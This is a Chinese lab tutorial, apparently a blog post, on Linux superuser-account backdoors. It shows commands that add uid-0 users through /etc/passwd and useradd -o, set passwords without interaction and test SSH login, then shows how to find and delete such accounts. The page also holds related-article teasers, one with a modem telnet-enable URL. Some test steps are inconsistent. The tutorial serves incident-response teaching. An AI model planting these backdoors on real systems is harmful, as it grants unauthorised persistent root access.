当前位置: 首页 > news >正文

[ 应急响应进阶篇-2 ] Linux创建后门并进行应急处置-1:超级用户帐号后门

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
    • 2.1 Linux后门应急-1:增加超级用户帐号
      • 2.1.1 增加超级用户帐号后门介绍
        • 2.1.1.1 超级用户账号简介
        • 2.1.1.2 原理
        • 2.1.1.3 实现步骤
        • 2.1.1.4 防御措施
      • 2.2.2 超级用户帐号创建实战
        • 2.2.2.1 前提条件
        • 2.2.2.2 环境介绍
        • 2.2.2.3 情况一:可以交互且允许uid=0的用户远程登录
          • 2.2.2.3.1 增加超级用户账号后门
          • 2.2.2.3.2 超级用户账号后门测试
        • 2.2.2.4 情况二:可以交互且不允许uid=0的用户远程登录
          • 2.2.2.4.1 设置靶机不允许uid=0的用户登录
          • 2.2.2.4.2 增加超级用户账号后门
          • 2.2.2.4.3 超级用户账号后门测试
        • 2.2.2.5 情况三:不交互无回显添加Linux密码
          • 2.2.2.5.1 简单解释不交互无回显
          • 2.2.2.5.2 方案一
          • 2.2.2.5.3 验证方案一
          • 2.2.2.5.4 方案二
          • 2.2.2.5.5 验证方案二
          • 2.2.2.5.6 方案三
          • 2.2.2.5.7 验证方案三
      • 2.2.3 非法超级用户帐号应急实战
        • 2.2.3.1 找到后门用户
        • 2.2.3.2 删除所有后门用户
  • 相关资源

2.1 Linux后门应急-1:增加超级用户帐号

2.1.1 增加超级用户帐号后门介绍

2.1.1.1 超级用户账号简介

增加超级用户账号是一种常见的后门技术,通过创建高权限账户来保持对系统的长期控制。这种方法通常在攻击者获得系统root权限后执行,以便日后再次访问。

2.1.1.2 原理

增加超级用户账号的原理是通过修改系统文件如/etc/passwd或/etc/shadow,添加新的用户条目并赋予其root权限。这些新用户将具有与系统管理员相同的权限,从而能够绕过正常的安全验证。

2.1.1.3 实现步骤

首先,通过命令行工具如echo和passwd向/etc/passwd和/etc/shadow文件中添加新的用户记录。然后,设置该用户的密码。最后,通过SSH或其他远程登录方式使用新创建的超级用户账号进行登录。

2.1.1.4 防御措施

为防止此类攻击,应定期检查系统文件的完整性,监控异常登录行为,并限制sudo权限的使用。同时,采用多因素认证和日志审计等手段提高系统安全性。

2.2.2 超级用户帐号创建实战

2.2.2.1 前提条件

假设在攻击的过程中,我们通过利用各种getshell手段,不仅成功渗透进了目标服务器的防御体系,还进一步拿到了具有最高控制权限的root权限,这意味着我们已经能够完全掌控这台服务器,可以执行任何我们需要的操作。这时候我们需要进行权限维持,从而创建各种后门。

2.2.2.2 环境介绍

靶机: centos7
IP: 10.0.0.202
攻击机: kali
IP: 10.0.0.128
远程模拟获取到的权限

ssh root@10.0.0.202

在这里插入图片描述

2.2.2.3 情况一:可以交互且允许uid=0的用户远程登录
2.2.2.3.1 增加超级用户账号后门
echo "powershell:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd powershell #修改powershell的密码为PS@SP@12@
由于有复杂度的要求,我设的复杂了一点点

在这里插入图片描述

2.2.2.3.2 超级用户账号后门测试

远程登录powershell测试,ssh远程登录,输入密码,登录成功,而且是root权限

ssh powershell@10.0.0.202
whoami

在这里插入图片描述

2.2.2.4 情况二:可以交互且不允许uid=0的用户远程登录
2.2.2.4.1 设置靶机不允许uid=0的用户登录

Linux禁止root账户远程登录

1.修改配置文件

vi /etc/ssh/sshd_config
PermitRootLogin改成no 
直接在配置文件末尾添加 PermitRootLogin no  也是可行的

在这里插入图片描述

2.最后重启ssh服务

service sshd restart

在这里插入图片描述

3.配置成功
再次采用root权限用户进行登陆,登陆不成功。

在这里插入图片描述

2.2.2.4.2 增加超级用户账号后门

如果系统不允许 uid=0 的用户远程登录(因为root的uid=0),可以增加一个普通用户账号
这种情况是防止后续用户禁止root登录,我们的root权限账户丢失,而丢失目标系统的所有权限,可以提前创建一个普通用户账号。

echo "hanchan:x:1000:1000::/:/bin/sh" >> /etc/passwd  #增加普通用户账号
passwd hanchan  #修改hanchan的密码为PS@SP@12@

在这里插入图片描述

2.2.2.4.3 超级用户账号后门测试

远程登录hanchan测试,ssh远程登录,输入密码,登录成功,而且是hanchan普通用户权限。
这个时候登录root账户,即使输入正确的密码也是不能成功登录的(因为root的uid=0)

在这里插入图片描述

2.2.2.5 情况三:不交互无回显添加Linux密码
2.2.2.5.1 简单解释不交互无回显

不交互无回显添加Linux密码指的是一种自动化脚本或命令行工具的使用方法,它允许管理员在没有用户交互的情况下(即不需要手动输入密码),并且不在终端上显示(即无回显)的情况下设置或更改用户的密码。这种技术常用于自动化部署、批量管理系统账户或者在脚本中安全地处理密码。
简单来说:我创建用户不需要在交互页面中输入密码、确认密码

2.2.2.5.2 方案一

创建后门用户hanchan1

useradd hanchan -u 0 -o -g root -G root|| echo "123456" | passwd --stdin hanchan #创建账户hanchan、密码123456且为root权限这个命令分为两部分,由 || 连接
useradd: 这个命令用于创建一个新的用户账户。
hanchan: 这是新用户的用户名。
-u 0: 这个选项指定了用户的UID(用户标识符)。UID为0通常表示root用户。
-o: 这个选项允许覆盖系统默认设置,例如在UID为0的情况下仍然创建用户。
-g root: 这个选项将用户分配到root组。
-G root: 这个选项将用户添加到其他附加组,这里也是root组。
echo "123456": 输出密码123456。
|: 管道符号,将左边的输出作为右边命令的输入。
passwd --stdin hanchan: 使用标准输入来设置用户hanchan的密码。如果用户 hanchan 已经存在且你不知道当前密码,执行这个命令将会把 hanchan 的密码修改为 123456。这是因为 passwd --stdin 命令允许通过标准输入直接设置新密码,绕过了需要知道当前密码的限制。

如果想直接修改原有用户密码,直接执行就可以

在这里插入图片描述

创建新的用户得执行命令两次才可以

useradd hanchan1 -u 0 -o -g root -G root|| echo "123456" | passwd --stdin hanchan1 #创建账户hanchan、密码123456且为root权限
useradd hanchan1 -u 0 -o -g root -G root|| echo "123456" | passwd --stdin hanchan1 #创建账户hanchan、密码123456且为root权限

在这里插入图片描述

查看hanchan1用户权限
本想直接创建hanchan用户,哪曾想已经存在了,执行结果就是修改了他的密码,但他的用户权限是不变的。又创建了一个hanchan1的新用户。
查看新用户hanchan1权限为root权限

在这里插入图片描述

切换到hanchan1用户执行whoami

在这里插入图片描述

2.2.2.5.3 验证方案一

ssh登录hanchan1用户,登陆成功,说明我们创建的后门用户可用。

ssh hanchan1@10.0.0.202

在这里插入图片描述

2.2.2.5.4 方案二

创建后门用户hanchan2

useradd  hanchan2
echo "123456" | passwd --stdin hanchan2

在这里插入图片描述

查看hanchan2权限,权限较小

cat /etc/passwd

在这里插入图片描述

su hanchan2
whoami

在这里插入图片描述

2.2.2.5.5 验证方案二

ssh登录hanchan1用户,登陆成功,说明我们创建的后门用户可用。

ssh hanchan2@10.0.0.202

在这里插入图片描述

2.2.2.5.6 方案三

创建后门用户hanchan3

useradd -u 0 -o -g root -G root hanchan3 | echo -e "1han2chan\n1han2chan" | passwd hanchan3
useradd -u 0 -o -g root -G root hanchan3 | echo -e "1han2chan\n1han2chan" | passwd hanchan3useradd: 创建新用户的命令。
-u 0: 指定用户的 UID(用户标识符)为 0UID 0 通常保留给超级用户(root)。
-o: 允许使用重复的 UID。默认情况下,如果指定的 UID 已经存在,useradd 会失败。加上 -o 选项后,即使 UID 已存在,也会继续执行。
-g root: 将用户的主要组设置为 root。
-G root: 将用户添加到 root 组中。
hanchan3: 要创建的用户名。
|:管道符号用于将前一个命令的输出作为下一个命令的输入。在这里,它的作用是将 useradd 命令的输出传递给 echo 命令。
echo: 打印文本到标准输出。
-e: 启用转义字符的解释。
"1han2chan\1han2chan": 要打印的字符串,其中 \n 表示换行符。因此,这个命令会输出两行相同的密码 1qazwsx2wsx。
passwd: 更改用户密码的命令。
hanchan3: 要更改密码的用户名。

也是得执行两次,并且对密码强度有要求
在这里插入图片描述
查看hanchan3权限,为root权限

cat /etc/passwd

在这里插入图片描述

su hanchan2
whoami

在这里插入图片描述

2.2.2.5.7 验证方案三

ssh登录hanchan1用户,登陆成功,说明我们创建的后门用户可用。

ssh hanchan2@10.0.0.202

在这里插入图片描述

2.2.3 非法超级用户帐号应急实战

2.2.3.1 找到后门用户

Linux下查看可以远程登录的账号信息

awk '/\$1|\$6/{print $1}' /etc/shadow

在这里插入图片描述

查看特权账户,那些账户有root权限

awk -F: '$3==0 {print$1}' /etc/passwd

在这里插入图片描述

之后与服务器管理员沟通,就可以确定黑客增加的用户账号了。
最终确认了powershell、hanchan、hanchan1、hanchan2、hanchan3五个后门用户,将其删除即可。

2.2.3.2 删除所有后门用户

删除相关文件的所有的行

vi /etc/passwd
vi /etc/shadow
vi /etc/group

在这里插入图片描述

删除归于后门用户的所有的文件及文件夹以及计划任务等等内容,后续还会详细讲到。

相关资源

[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-1:windows后门账户
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-2:计划任务后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-3:windows服务后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-4:启动项后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-5:Shift 粘贴键后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-6:windows轻松访问后门

相关文章:

[ 应急响应进阶篇-2 ] Linux创建后门并进行应急处置-1:超级用户帐号后门

🍬 博主介绍 👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 养成习…...

设计模式:4、命令模式(双重委托)

目录 0、定义 1、命令模式包括四种角色 2、命令模式的UML类图 3、代码示例 0、定义 将一个请求封装为一个对象,从而使用户可用不同的请求对客户进行参数化;对请求排队或记录请求日志,以及支持可撤销的操作。 1、命令模式包括四种角色 接…...

第27天 安全开发-PHP应用TP 框架路由访问对象操作内置过滤绕过核心漏洞

时间轴 演示案例 TP 框架-开发-配置架构&路由&MVC 模型 TP 框架-安全-不安全写法&版本过滤绕过 TP 框架-开发-配置架构&路由&MVC 模型 参考: https://www.kancloud.cn/manual/thinkphp5_1 1、配置架构-导入使用 去thinkphp官网可以看到&…...

[数组双指针] 0167. 两数之和 II - 输入有序数组

文章目录 1. 题目链接2. 题目大意3. 示例4. 解题思路5. 参考代码 1. 题目链接 167. 两数之和 II - 输入有序数组 - 力扣(LeetCode) 2. 题目大意 描述:给定一个下标从 1 开始计数、升序排列的整数数组:numbers 和一个目标值 targ…...

常用数据结构详解

文章目录 线性数据结构稀疏数组链表单向链表双向链表约瑟夫问题 栈栈实现中缀表达式栈实现后缀表达式中缀表达式转后缀表达式 队列哈希表 非线性数据结构二叉树二叉树的遍历及查找二叉树的删除顺序存储二叉树线索化二叉树 哈夫曼树二叉排序树平衡二叉树多路查找树2-3树B树B树B*…...

css iframe标签使用

<iframe> 标签用于在网页中嵌入另一个 HTML 页面。它非常灵活&#xff0c;可用于嵌入内容&#xff0c;比如其他网站、视频、地图等。以下是有关 <iframe> 的详细介绍及使用方法&#xff1a; 基本语法 <iframe src"URL" width"宽度" height…...

NVR管理平台EasyNVR多品牌NVR管理工具的流媒体视频融合与汇聚管理方案

随着信息技术的飞速发展&#xff0c;视频监控已经成为现代社会安全管理和业务运营不可或缺的一部分。无论是智慧城市、智能交通、还是大型企业、校园安防&#xff0c;视频监控系统的应用都日益广泛。NVR管理平台EasyNVR&#xff0c;作为功能强大的流媒体服务器软件&#xff0c;…...

GISBox VS QGIS:你更倾向于易用性还是追求开源及高度定制化

在地理信息系统&#xff08;GIS&#xff09;领域&#xff0c;随着技术的进步和应用场景的多样化&#xff0c;越来越多的GIS软件出现在市场上&#xff0c;为用户提供多样化的选择。对于企业和个人开发者来说&#xff0c;选择最适合自己的GIS软件至关重要。本文将从多个角度对比G…...

OpenCV与AI深度学习|16个含源码和数据集的计算机视觉实战项目(建议收藏!)

本文来源公众号“OpenCV与AI深度学习”&#xff0c;仅用于学术分享&#xff0c;侵权删&#xff0c;干货满满。 原文链接&#xff1a;分享&#xff5c;16个含源码和数据集的计算机视觉实战项目 本文将分享16个含源码和数据集的计算机视觉实战项目。具体包括&#xff1a; 1. 人…...

联通光猫(烽火通信设备)改桥接教程

一、获得超级密码 1.打开telnet连接权限 http://192.168.1.1/telnet?enable1&key9070D3BECD70&#xff08;MAC地址&#xff09;2.连接光猫获取密码 telnet 192.168.1.1 用户名&#xff1a;admin 密码&#xff1a;Fh9070D3BECD70连接成功后 load_cli factory show admin_…...

12 —— Webpack中向前端注入环境变量

需求&#xff1a;开发模式下打印语句生效&#xff0c;生产模式下打印语句失效 使用Webpack内置的DefinePlugin插件 const webpack require(webpack) module.exports { plugins: [ new webpack.DefinePlugin({ process.env.NODE_ENV:JSON.stringify(process.env.NODE_ENV) }…...

Azure Kubernetes Service (AKS)资源优化策略

针对Azure Kubernetes Service (AKS)的资源优化策略&#xff0c;可以从多个维度进行考虑和实施&#xff0c;以提升集群的性能、效率和资源利用率。以下是一些关键的优化策略&#xff1a; 一、 Pod资源请求和限制 设置Pod请求和限制&#xff1a;在YAML清单中为所有Pod设置CPU和…...

根据返回字段名进行查询数据的方法

在Java后端开发中&#xff0c;根据前端返回的字段名动态查询数据库是一种常见的需求。这种需求通常通过使用反射和动态SQL来实现。下面是一个完整的代码示例&#xff0c;它展示了如何根据前端返回的字段名动态查询数据库中的数据。 一、根据前端返回的字段名动态查询数据库中的…...

使用ENSP实现静态路由

一、双路由器静态路由 1.项目拓扑 2.项目实现 (1)路由器AR1配置 进入系统试图 sys将路由器命名为R1 sysname R1进入g0/0/0接口 int g0/0/0将g0/0/0接口IP地址配置为1.1.1.1/24 ip address 1.1.1.1 24进入g0/0/1接口 int g0/0/1将g0/0/1接口IP地址配置为192.168.1.1/24 ip ad…...

SpringBoot3+Vue3开发图书馆管理系统

1 项目介绍 图书馆管理系统&#xff0c;管理图书、用户、借书、还书、实时监测归还是否逾期&#xff0c;逾期未归还会生成违规记录。违规状态不可借阅图书。需缴纳罚金&#xff0c;消除违规记录。可动态设置图书最多累计借阅数量上限和最长借阅天数上限&#xff0c;当用户满足…...

常见的 git 提交备注类型

在 Git 提交中&#xff0c;常见的提交备注&#xff08;commit message&#xff09;遵循一定的约定&#xff0c;这有助于代码管理、版本控制以及团队协作。fix 和 feat 是常见的提交类型&#xff0c;下面是这两个的含义&#xff0c;以及其他常见的提交类型。 常见的 Git 提交备…...

Redis 的代理类注入失败,连不上 redis

在测试 redis 是否成功连接时&#xff0c;发现 bean 没有被创建成功&#xff0c;导致报错 根据报错提示&#xff0c;需要我们添加依赖&#xff1a; <dependency><groupId>org.apache.commons</groupId><artifactId>commons-pool2</artifactId>&l…...

Hook 技术:修改 Android 系统属性,提升应用调试和定制化能力

Hook 技术&#xff1a;修改 Android 系统属性&#xff0c;提升应用调试和定制化能力 我知道很多小伙伴&#xff0c;尤其是玩 Android 的开发者&#xff0c;都会有这种需求&#xff1a; 想修改设备的 系统属性&#xff0c;比如 设备型号、API 版本、屏幕分辨率 或 密度&#x…...

Excel如何把两列数据合并成一列,4种方法

Excel如何把两列数据合并成一列,4种方法 参考链接:https://baijiahao.baidu.com/s?id=1786337572531105925&wfr=spider&for=pc 在Excel中,有时候需要把两列或者多列数据合并到一列中,下面介绍4种常见方法,并且提示一些使用注意事项,总有一种方法符合你的要求:…...

英文版本-带EXCEL函数的数据分析

一、问题&#xff1a; 二、表格内容 三、分析结果 四、具体的操作步骤&#xff1a; 销售工作表公式设计与数据验证 类别&#xff08;Category&#xff09;列公式&#xff1a; 在Category列&#xff08;假设为D列&#xff09;&#xff0c;根据ProductCode在Catalogue工作表中查找…...

LangChain入门

LangChain入门 &#xff5c; 豆包MarsCode AI 刷题 本篇文章为《LangChain 实战课》前三节课的总结性文章&#xff0c;主要内容包含内容梳理与总结&#xff0c;学习记录&#xff0c;以及一些思考。 01开篇词&#xff5c;带你亲证AI应用开发的“奇点”时刻 内容 这篇文章介绍…...

STM32-- 串口介绍

rs485、rs232、rs422 rs485使用&#xff1a; max3485&#xff1a;3.3v左右驱动 max485&#xff1a;5v左右驱动&#xff0c;不过有时候3.3v驱动也可以使用&#xff0c;具体有什么问题或者通过电路规避问题还没有了解过。 rs485和rs422有相同的地方&#xff0c;485满足422的规…...

【Python TensorFlow】进阶指南(续篇三)

在前几篇文章中&#xff0c;我们探讨了TensorFlow的高级功能&#xff0c;包括模型优化、分布式训练、模型解释等多个方面。本文将进一步深入探讨一些更具体和实用的主题&#xff0c;如模型持续优化的具体方法、异步训练的实际应用、在线学习的实现细节、模型服务化的最佳实践、…...

仓颉——申请内测、环境搭建、编译测试

2024年6月21日&#xff0c;华为仓颉正式公开发布。 不少同学看过仓颉白皮书后&#xff0c;都在找SDK从哪下载&#xff0c;HelloWorld怎么跑。仓颉公众号也及时发布了内测的方式&#xff0c;我也亲自走了一遍整个流程&#xff0c; 一&#xff0c;申请内测 关注“仓颉编程语言…...

C语言教程指针笔记整理(二)

https://www.bilibili.com/video/BV1cx4y1d7Ut?spm_id_from333.788.videopod.episodes&vd_sourcee8984989cddeb3ef7b7e9fd89098dbe8&p107 本篇为贺宏宏老师C语言教程指针部分笔记整理 //8-19 一维数组和二维数组 // int arr[4] [][][][] //含义&#xff1a; //1.arr…...

3.无重复字符的最长子串 python

无重复字符的最长子串 题目描述示例 1:示例 2:示例 3:提示&#xff1a;题目链接 解题思路Python 实现详细解释 题目描述 给定一个字符串 s &#xff0c;请你找出其中不含有重复字符的最长 子串的长度。 示例 1: 输入: s “abcabcbb” 输出: 3 解释: 因为无重复字符的最长子…...

NIST 发布后量子密码学转型战略草案

美国国家标准与技术研究所 (NIST) 发布了其初步战略草案&#xff0c;即内部报告 (IR) 8547&#xff0c;标题为“向后量子密码标准过渡”。 该草案概述了 NIST 从当前易受量子计算攻击的加密算法迁移到抗量子替代算法的战略。该草案于 2024 年 11 月 12 日发布&#xff0c;开放…...

高危,Laravel参数注入漏洞安全风险通告

今日&#xff0c;亚信安全CERT监控到安全社区研究人员发布安全通告&#xff0c;披露了Laravel 参数注入漏洞(CVE-2024-52301)。在受影响的版本中&#xff0c;Application.php 文件的 detectEnvironment 函数直接使用了 $_SERVER[argv]&#xff0c;但没有检查运行环境是否为 CLI…...

【漏洞复现】|智互联SRM智联云采系统quickReceiptDetail SQL注入漏洞

漏洞描述 智互联(深圳)科技有限公司SRM智联云采系统针对企业供应链管理难题&#xff0c;及智能化转型升级需求&#xff0c;智联云采依托人工智能、物联网、大数据、云等技术&#xff0c;通过软硬件系统化方案&#xff0c;帮助企业实现供应商关系管理和采购线上化、移动化、智能…...

【Visual Studio系列教程】如何在 VS 上编程?

上一篇博客中&#xff0c;我们介绍了《什么是 Visual Studio&#xff1f;》。本文&#xff0c;我们来看第2篇《如何在 VS 上编程&#xff1f;》。阅读本文大约10 分钟。我们会向文件中添加代码&#xff0c;了解 Visual Studio 编写、导航和了解代码的简便方法。 本文假定&…...

Pytest-Bdd-Playwright 系列教程(12):步骤参数 parsers参数解析

Pytest-Bdd-Playwright 系列教程&#xff08;12&#xff09;&#xff1a;步骤参数 & parsers参数解析 前言一、什么是步骤参数&#xff1f;二、pytest-bdd 的步骤参数用法2.1 简单字符串解析2.2 自定义正则表达式解析2.3 参数类型转换 三、案例&#xff1a;基于 pytest-bdd…...

java 增强型for循环 详解

Java 增强型 for 循环&#xff08;Enhanced for Loop&#xff09;详解 增强型 for 循环&#xff08;也称为 “for-each” 循环&#xff09;是 Java 从 JDK 5 开始引入的一种便捷循环语法&#xff0c;旨在简化对数组或集合类的迭代操作。 1. 基本语法 语法格式 for (类型 变量…...

RUST学习教程-安装教程

文章目录 参考文档安装教程更新卸载 参考文档 https://course.rs/first-try/installation.html 安装教程 Linux或者mac安装教程 curl --proto https --tlsv1.2 https://sh.rustup.rs -sSf | sh安装完成&#xff0c;当出现command not found的时候&#xff0c;需要source一下…...

第十六届蓝桥杯模拟赛(第一期)-c++/c

c/c蓝桥杯模拟赛题解&#xff0c;非常详细 质因数 1、填空题 【问题描述】 如果一个数 p 是个质数&#xff0c;同时又是整数 a 的约数&#xff0c;则 p 称为 a 的一个质因数。 请问 2024 有多少个质因数。 【答案提交】 这是一道结果填空的题&#xff0c;你只需要算出结果后提…...

使用uniapp编写APP的文件上传

使用uniapp插件文件选择、文件上传组件&#xff08;图片&#xff0c;视频&#xff0c;文件等&#xff09; - DCloud 插件市场 实用效果&#xff1a; 缺陷是只能一个一个单独上传...

Go语言从入门到精通

go相关命令 //对go源码进行编译&#xff0c;生成.exe文件 go build go文件名//直接运行go源码&#xff08;生成.exe文件执行后&#xff0c;又删除.exe文件&#xff09; go run go文件名go中的package和import /*package&#xff1a;用来声明这个文件是属于哪个包的*/ package…...

捉虫记录02-Nacos访问失败

目录 一、问题 二、排查 三、解决方案 一、问题 在访问nacos的时候出现以下问题&#xff1a; 二、排查 先用docker logs nacos来查找报错信息 docker logs nacos 看问题报错就是数据源问题&#xff0c;nacos没能连接上mysql 三、解决方案 第一步 docker restart mysql …...

安宝特方案 | AR助力紧急救援,科技守卫生命每一刻!

在生死时速的紧急救援战场上&#xff0c;每一秒都至关重要&#xff01;随着科技的发展&#xff0c;增强现实&#xff08;AR&#xff09;技术正在逐步渗透到医疗健康领域&#xff0c;改变着传统的医疗服务模式。 安宝特AR远程协助解决方案&#xff0c;凭借其先进的技术支持和创新…...

超详细:Redis分布式锁

如何基于 Redis 实现一个最简易的分布式锁&#xff1f; 不论是本地锁还是分布式锁&#xff0c;核心都在于“互斥”。 在 Redis 中&#xff0c; SETNX 命令是可以帮助我们实现互斥。SETNX 即 SET if Not eXists (对应 Java 中的 setIfAbsent 方法)&#xff0c;如果 key 不存在…...

@Autowired 和 @Resource思考(注入redisTemplate时发现一些奇怪的现象)

1. 前置知识 Configuration public class RedisConfig {Beanpublic RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory factory) {RedisTemplate<String, Object> template new RedisTemplate<>();template.setConnectionFactory(facto…...

MTK主板定制_联发科主板_MTK8766/MTK8768/MTK8788安卓主板方案

主流市场上的MTK主板通常采用联发科的多种芯片平台&#xff0c;如MT8766、MT6765、MT6762、MT8768和MT8788等。这些芯片基于64位Cortex-A73/A53架构&#xff0c;提供四核或八核配置&#xff0c;主频可达2.1GHz&#xff0c;赋予设备卓越的计算与处理能力。芯片采用12纳米制程工艺…...

k8s篇之控制器类型以及各自的适用场景

1. k8s中控制器介绍 在 Kubernetes 中,控制器(Controller)是集群中用于管理资源的关键组件。 它们的核心作用是确保集群中的资源状态符合用户的期望,并在需要时自动进行调整。 Kubernetes 提供了多种不同类型的控制器,每种控制器都有其独特的功能和应用场景。 2. 常见的…...

VideoCrafter模型部署教程

一、介绍 VideoCrafter是一个功能强大的AI视频编辑和生成工具&#xff0c;它结合了深度学习和机器学习技术&#xff0c;为用户提供了便捷的视频制作和编辑体验。 系统&#xff1a;Ubuntu22.04系统&#xff0c;显卡&#xff1a;4090&#xff0c;显存&#xff1a;24G 二、基础…...

mysql 与 mybatis 错误记录

DATE_FORMAT(FROM_UNIXTIME(start_time / 1000)只能传秒级时间戳&#xff0c;毫秒级时间戳group后不能select; tinyint(1)会被mybatis自动翻译为Boolean值&#xff0c;可以使用resultMap重新映射一下来解决&#xff0c;select使用了别名&#xff0c;在resultMap中映射column也必…...

本地git多用户ssh配置

仅作备份&#xff0c;不做解释 1. ~/.ssh/config Host jeadyx.gitee.com HostName gitee.com PreferredAuthentications publickey IdentityFile ~/.ssh/id_rsa_jeadyxHost jeady5.gitee.com HostName gitee.com PreferredAuthentications publickey IdentityFile ~/.ssh/id_…...

macbook外接2k/1080p显示器调试经验

准备工具 电脑 满足电脑和显示器要求的hdmi线或者转接头或者扩展坞 betterdisplay软件 Dell P2419H的最佳显示信息如下 飞利浦 245Es 2K的最佳显示比例如下 首选1152...

如何删除Kafka中的数据以及删除topic

如何删除Kafka数据已经以及删除topic呢&#xff1f; 1、删除数据 先启动Kafka实例 docker exec -it kafka-0 /bin/bash #进去容器 rm -rf /bitnami/kafka/data/* #删除数据 exit #退出如果删除失败&#xff0c;可能是数据不存在于/bitnami/kafka/data&#xff0c;使用 cd /o…...

wordpress二开-WordPress新增页面模板-说说微语

微语说说相当于一个简单的记事本&#xff0c;使用还是比较方便的。这个版本的说说微语CSS样式不兼容&#xff0c;可能有些主题无法适配&#xff0c;但是后台添加内容&#xff0c;前端显示的逻辑已经实现。可以当作Word press二开中自定义页面模板学习~ 一、后台添加说说微语模…...

Java学习笔记--数组常见算法:数组翻转,冒泡排序,二分查找

目录 一&#xff0c;数组翻转 二&#xff0c;冒泡排序 三&#xff0c;二分查找&#xff08;一尺之锤&#xff0c;日取其半&#xff0c;万世不竭&#xff09; 一&#xff0c;数组翻转 1.概述:数组对称索引位置上的元素互换&#xff0c;最大值数组序号是数组长度减一 创建跳板…...

使用 OpenAI 进行数据探索性分析(EDA)

探索性数据分析&#xff08;Exploratory Data Analysis, 简称 EDA&#xff09;是数据分析中不可或缺的环节&#xff0c;帮助分析师快速了解数据的分布、特征和潜在模式。传统的 EDA 通常需要手动编写代码或使用工具完成。现在&#xff0c;通过 OpenAI 的 GPT-4 模型&#xff0c…...